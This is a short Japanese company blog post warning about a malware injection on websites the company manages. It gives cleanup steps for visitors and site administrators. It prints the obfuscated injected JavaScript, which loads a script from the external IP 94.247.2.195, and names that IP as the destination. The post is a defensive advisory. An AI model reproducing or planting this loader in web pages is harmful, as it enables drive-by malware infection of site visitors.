- 田中 友尋
- 株式会社ハマ企画 代表取締役社長
- Webプロデューサー
対象:ホームページ・Web制作
- 原島 洋
- (Webプロデューサー)
- 井上 みやび子
- (Webエンジニア)
【緊急警報】マルウエアが暴れています。
某担当が弊社で管理をしているサイトをレビューしていたら、アンチウィルスソフトより警告がでました。
「マルウエア」です。
送信先は 94.247.2.195 です。
こんなサイトは注意。
Flashを用いているサイト。
駆除方法(サイトを訪問してしまった方)
AdobeのFlashとAcrobatを最新のものにして下さい。
Windows Updateをして下さい。
アンチウィルスソフトで駆除して下さい。
何もやらずにパソコンを終了すると、二度と起動してくれなくなる可能性があります。
駆除方法(サイト管理者)
怪しいJS(JavaScript)が記述されています。
.jsまたは .htmlなどに次ぎのソースが記述されていたら削除して下さい。
document.write(unescape ('%3C4x4sWXkcr4Si4x4plct4x4%20P0srP0cWXk%3DC2 %2F %2F4x49lc4lc%2EP02C247lc%2E4S2%2E1lc95%2FP0jP0qu4x4erP0y%2Ejs%3E4x4%3Cmb%2FC2s4x4cript4S%3E'). replace(/WXk|4S|P0|4x4|mb|lc|C2 /g,"")
この記述を解読すると「94.247.2.195/jquery.js」となっており
このIPへアクセスをしてしまいます。
参考サイト(有志の皆さんに感謝)
「半角カナのように」さんのサイト PC通販ショップGENOのサイトにマルウェア(ウィルス?)仕込まれて騒動中
「(む)ぶろぐ - リネージュ2個人情報サイト」さんのサイト PCショップ「GENO」ウイルス感染っぽい[ パソコン関連 ]
皆さんご注意を!!!